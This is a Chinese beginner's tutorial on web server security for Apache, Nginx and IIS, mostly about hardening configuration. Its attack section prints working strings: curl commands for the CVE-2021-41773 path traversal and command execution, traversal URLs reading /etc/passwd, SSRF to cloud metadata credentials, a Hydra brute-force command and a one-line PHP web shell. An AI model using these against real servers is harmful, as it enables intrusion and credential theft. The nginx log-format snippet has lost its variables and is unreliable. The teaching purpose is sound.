[資安入門] 008 資安新手指南:為什麼要學習網頁伺服器安全(Apache、Nginx、IIS)

什麼是網頁伺服器?

網頁伺服器(Web Server)是一種軟體,負責接收使用者的 HTTP/HTTPS 請求,並回傳網頁內容(HTML、CSS、JavaScript、圖片等)給瀏覽器。

三大主流網頁伺服器

伺服器 開發者 作業系統 市佔率 特色
Apache Apache 軟體基金會 跨平台 約 30% 歷史悠久、模組豐富、設定彈性高
Nginx Nginx Inc. (現為 F5) 跨平台 約 34% 高效能、低資源消耗、反向代理首選
IIS Microsoft Windows 約 6% 與 Windows Server 深度整合、支援 .NET

它們在做什麼?

使用者瀏覽器  ──HTTP 請求──▶  網頁伺服器  ──▶  處理請求
     ◀──────HTML 回應──────       ◀──────  回傳內容

簡單來說,網頁伺服器就像是餐廳的服務生:
– 接收客人(使用者)的點餐(請求)
– 把餐點(網頁內容)送到客人面前


跟資安有什麼關係?

網頁伺服器是攻擊的第一道門

網頁伺服器通常是企業對外開放的第一個接觸點,也是駭客最常攻擊的目標之一。

網際網路 ──▶ 防火牆 ──▶ 【網頁伺服器】 ──▶ 應用程式 ──▶ 資料庫
                              ▲
                         攻擊者的首要目標

為什麼資安人員必須學?

角色 需要了解的原因
滲透測試人員 需要知道如何找出伺服器的漏洞與錯誤設定
藍隊/防禦人員 需要知道如何正確設定與強化伺服器安全
資安分析師 需要看懂 Log 記錄,分析攻擊行為
事件應變人員 需要快速判斷伺服器是否被入侵

常見資安事件與伺服器的關聯

  • 網站被掛馬(植入惡意程式)
  • 敏感資料外洩(設定檔、原始碼)
  • 網站被置換(Defacement)
  • 作為跳板攻擊內網其他主機
  • DDoS 攻擊導致服務中斷

需要注意哪些內容?

1. 版本資訊

# 不安全:暴露版本資訊
Server: Apache/2.4.41 (Ubuntu)
Server: nginx/1.18.0
Server: Microsoft-IIS/10.0

# 安全:隱藏或模糊化
Server: Apache
Server: nginx

2. 預設設定

項目 風險 建議
預設頁面 暴露伺服器類型與版本 移除或替換
目錄列表(Directory Listing) 暴露檔案結構 關閉
預設帳號密碼 容易被猜測 立即更改或停用
範例程式 可能含有漏洞 移除

3. 設定檔位置

了解設定檔位置是進行安全稽核的基礎:

# Apache
/etc/apache2/apache2.conf        # Debian/Ubuntu
/etc/httpd/conf/httpd.conf       # CentOS/RHEL
C:\Apache24\conf\httpd.conf      # Windows

# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-available/
/etc/nginx/sites-enabled/

# IIS
%windir%\System32\inetsrv\config\applicationHost.config
C:\inetpub\wwwroot\web.config

4. Log 記錄位置

Log 是追蹤攻擊行為的重要依據:

# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log

# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

# IIS
C:\inetpub\logs\LogFiles\

5. 常見敏感檔案與路徑

攻擊者常會嘗試存取的檔案:

/.git/                    # Git 版本控制目錄
/.svn/                    # SVN 版本控制目錄
/.env                     # 環境變數設定檔
/web.config               # IIS 設定檔
/.htaccess                # Apache 設定檔
/phpinfo.php              # PHP 資訊頁面
/server-status            # Apache 狀態頁面
/nginx_status             # Nginx 狀態頁面
/backup.sql               # 資料庫備份
/config.php.bak           # 設定檔備份

常見攻擊手法

1. 已知漏洞利用(Known Vulnerabilities)

說明

攻擊者利用已公開的 CVE 漏洞,攻擊未更新的伺服器。

經典案例

CVE 編號 影響範圍 說明
CVE-2021-41773 Apache 2.4.49 路徑穿越漏洞,可讀取任意檔案
CVE-2021-42013 Apache 2.4.50 上述漏洞的繞過,可執行任意指令
CVE-2017-7269 IIS 6.0 WebDAV 緩衝區溢位,可遠端執行程式碼
CVE-2019-11043 Nginx + PHP-FPM 可遠端執行程式碼

攻擊方式

# CVE-2021-41773 路徑穿越範例
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

# 如果 mod_cgi 啟用,可執行指令
curl -X POST 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
     -d 'echo; id; whoami'

2. 不安全的設定(Misconfigurations)

目錄列表(Directory Listing)

# 風險:攻擊者可瀏覽整個目錄結構
http://example.com/backup/

Index of /backup
    db_backup_2024.sql
    config.php.bak
    passwords.txt

敏感資訊洩漏

# Server Header 洩漏版本
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu) PHP/7.4.3

# 錯誤訊息洩漏路徑
Warning: include(/var/www/html/config.php): failed to open stream

不當的存取控制

# 危險設定:允許存取 .htaccess
<FilesMatch "^\.ht">
    Require all granted
</FilesMatch>

# 危險設定:允許執行上傳目錄的腳本
<Directory "/var/www/html/uploads">
    Options +ExecCGI
</Directory>

3. 路徑穿越攻擊(Path Traversal)

說明

利用 ../ 或編碼變體來存取網站根目錄以外的檔案。

攻擊範例

# 基本路徑穿越
http://example.com/download?file=../../../etc/passwd

# URL 編碼繞過
http://example.com/download?file=..%2f..%2f..%2fetc/passwd

# 雙重編碼繞過
http://example.com/download?file=..%252f..%252f..%252fetc/passwd

# Null byte 注入(舊版本)
http://example.com/download?file=../../../etc/passwd%00.jpg

4. HTTP 請求走私(HTTP Request Smuggling)

說明

利用前端伺服器(如 Nginx)與後端伺服器(如 Apache)對 HTTP 請求解析的差異進行攻擊。

攻擊原理

POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

5. Server-Side Request Forgery(SSRF)

說明

誘使伺服器向內部網路發送請求。

攻擊範例

# 透過伺服器存取內部服務
http://example.com/fetch?url=http://127.0.0.1:8080/admin
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/

# 雲端環境 Metadata 竊取
http://example.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

6. 拒絕服務攻擊(DoS/DDoS)

常見手法

攻擊類型 說明
Slowloris 建立大量慢速連線,耗盡連線數
HTTP Flood 大量合法 HTTP 請求
SYN Flood TCP 握手攻擊
Amplification 利用反射放大流量

Slowloris 攻擊原理

# 概念示意(請勿用於非法用途)
# 持續發送不完整的 HTTP Header,佔用連線
GET / HTTP/1.1
Host: target.com
X-Custom-Header-1: value
X-Custom-Header-2: value
# 持續發送,永不結束...

7. 暴力破解與密碼攻擊

目標

  • HTTP Basic Authentication
  • 管理後台登入頁面
  • WebDAV 認證

攻擊工具

# 使用 Hydra 進行暴力破解
hydra -l admin -P wordlist.txt http-get://example.com/admin

# 使用 Burp Suite Intruder
# 設定 Payload 進行自動化測試

8. Web Shell 上傳與後門

攻擊流程

找到上傳功能 → 繞過檔案類型檢查 → 上傳 Web Shell → 執行指令

常見 Web Shell 範例

# 極簡 PHP Web Shell
<?php system($_GET['cmd']); ?>

# 使用方式
http://example.com/uploads/shell.php?cmd=whoami

如何防禦

1. 保持更新

# Debian/Ubuntu - Apache
sudo apt update && sudo apt upgrade apache2

# CentOS/RHEL - Apache
sudo yum update httpd

# Nginx
sudo apt update && sudo apt upgrade nginx

# 訂閱安全公告
# Apache: https://httpd.apache.org/security/
# Nginx: https://nginx.org/en/security_advisories.html
# IIS: Microsoft Security Update Guide

2. 隱藏版本資訊

Apache

# /etc/apache2/conf-available/security.conf
ServerTokens Prod
ServerSignature Off

Nginx

# /etc/nginx/nginx.conf
http {
    server_tokens off;
}

IIS

<!-- web.config -->
<system.webServer>
    <httpProtocol>
        <customHeaders>
            <remove name="X-Powered-By" />
        </customHeaders>
    </httpProtocol>
    <security>
        <requestFiltering removeServerHeader="true" />
    </security>
</system.webServer>

3. 關閉目錄列表

Apache

<Directory /var/www/html>
    Options -Indexes
</Directory>

Nginx

location / {
    autoindex off;
}

IIS

IIS Manager → 選擇網站 → Directory Browsing → Disable

4. 限制敏感檔案存取

Apache

# 禁止存取隱藏檔案
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

# 禁止存取備份檔
<FilesMatch "\.(bak|old|backup|sql|config)$">
    Require all denied
</FilesMatch>

# 禁止存取設定檔
<FilesMatch "(web\.config|\.htaccess|\.htpasswd|\.git|\.svn|\.env)">
    Require all denied
</FilesMatch>

Nginx

# 禁止存取隱藏檔案
location ~ /\. {
    deny all;
    return 404;
}

# 禁止存取敏感副檔名
location ~* \.(bak|old|backup|sql|config)$ {
    deny all;
    return 404;
}

5. 設定安全標頭(Security Headers)

Apache

<IfModule mod_headers.c>
    # 防止 Clickjacking
    Header always set X-Frame-Options "SAMEORIGIN"

    # 防止 MIME 類型混淆
    Header always set X-Content-Type-Options "nosniff"

    # 啟用 XSS 過濾器
    Header always set X-XSS-Protection "1; mode=block"

    # 強制 HTTPS
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

    # Content Security Policy
    Header always set Content-Security-Policy "default-src 'self'"

    # 移除不必要的標頭
    Header unset X-Powered-By
</IfModule>

Nginx

add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'" always;

6. HTTPS 設定

使用 Let’s Encrypt 免費憑證

# 安裝 Certbot
sudo apt install certbot python3-certbot-apache  # Apache
sudo apt install certbot python3-certbot-nginx   # Nginx

# 申請憑證
sudo certbot --apache -d example.com
sudo certbot --nginx -d example.com

# 自動更新
sudo certbot renew --dry-run

SSL/TLS 強化設定

# Nginx SSL 設定建議
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:50m;
ssl_stapling on;
ssl_stapling_verify on;

7. 存取控制與認證

IP 白名單

# Apache - 限制管理後台
<Location /admin>
    Require ip 192.168.1.0/24
    Require ip 10.0.0.0/8
</Location>
# Nginx - 限制管理後台
location /admin {
    allow 192.168.1.0/24;
    allow 10.0.0.0/8;
    deny all;
}

基本認證

# 建立密碼檔
htpasswd -c /etc/apache2/.htpasswd admin

# Apache 設定
<Location /admin>
    AuthType Basic
    AuthName "Admin Area"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
</Location>

8. 速率限制

Nginx

# 定義限制規則
limit_req_zone binary_remote_addr zone=api:10m rate=10r/s;
limit_conn_zonebinary_remote_addr zone=conn:10m;

server {
    # 套用速率限制
    location /api/ {
        limit_req zone=api burst=20 nodelay;
        limit_conn conn 10;
    }
}

Apache(mod_ratelimit)

<Location /api>
    SetOutputFilter RATE_LIMIT
    SetEnv rate-limit 500
</Location>

9. 日誌監控與告警

設定完整日誌格式

# Nginx 自訂日誌格式
log_format security 'remote_addr -remote_user [time_local] '
                    '"request" statusbody_bytes_sent '
                    '"http_referer" "http_user_agent" '
                    'request_timeupstream_response_time';

access_log /var/log/nginx/access.log security;

使用 Fail2Ban 自動封鎖

# /etc/fail2ban/jail.local
[nginx-http-auth]
enabled = true
filter = nginx-http-auth
port = http,https
logpath = /var/log/nginx/error.log
maxretry = 3
bantime = 3600

[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 3

10. Web Application Firewall(WAF)

ModSecurity

# 安裝 ModSecurity
sudo apt install libapache2-mod-security2

# 啟用 OWASP Core Rule Set
sudo apt install modsecurity-crs
# 基本設定
<IfModule security2_module>
    SecRuleEngine On
    SecRequestBodyAccess On
    SecResponseBodyAccess Off
    SecAuditLog /var/log/apache2/modsec_audit.log
</IfModule>

11. 最小權限原則

# 設定正確的檔案權限
# 目錄權限
find /var/www/html -type d -exec chmod 755 {} \;

# 檔案權限
find /var/www/html -type f -exec chmod 644 {} \;

# 設定正確的擁有者
chown -R www-data:www-data /var/www/html

# 設定檔案限制寫入
chmod 444 /var/www/html/config.php

學習資源建議

線上資源

資源 說明 連結
OWASP 網頁應用程式安全專案 https://owasp.org
HackTheBox 滲透測試練習平台 https://hackthebox.com
TryHackMe 資安學習平台 https://tryhackme.com
PortSwigger Web Security Academy 免費網頁安全課程 https://portswigger.net/web-security

推薦書籍

  • 《The Web Application Hacker’s Handbook》
  • 《Mastering Modern Web Penetration Testing》
  • 《Nginx HTTP Server》
  • 《Apache Cookbook》

實作練習建議

  1. 建立本機測試環境
    • 使用 Docker 或虛擬機架設 Apache/Nginx
    • 練習各種安全設定
  2. 使用漏洞靶機
    • DVWA(Damn Vulnerable Web Application)
    • WebGoat
    • Metasploitable
  3. 學習使用工具
    • Burp Suite(代理攔截工具)
    • Nikto(網頁伺服器掃描)
    • Nmap(網路掃描)
    • dirb/gobuster(目錄掃描)

總結

學習網頁伺服器對於資安人員來說是基本功,無論你是想要進行滲透測試還是防禦工作,都需要深入了解這些伺服器的運作原理、常見漏洞與防禦方式。

重點回顧

  • 了解 Apache、Nginx、IIS 的差異與特性
  • 掌握常見的攻擊手法與漏洞類型
  • 學會基本的安全設定與強化技巧
  • 持續關注最新的安全公告與更新

學習路線建議

基礎知識 → 架設環境 → 了解設定 → 學習攻擊手法 → 練習防禦 → 持續精進
飛飛
飛飛

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。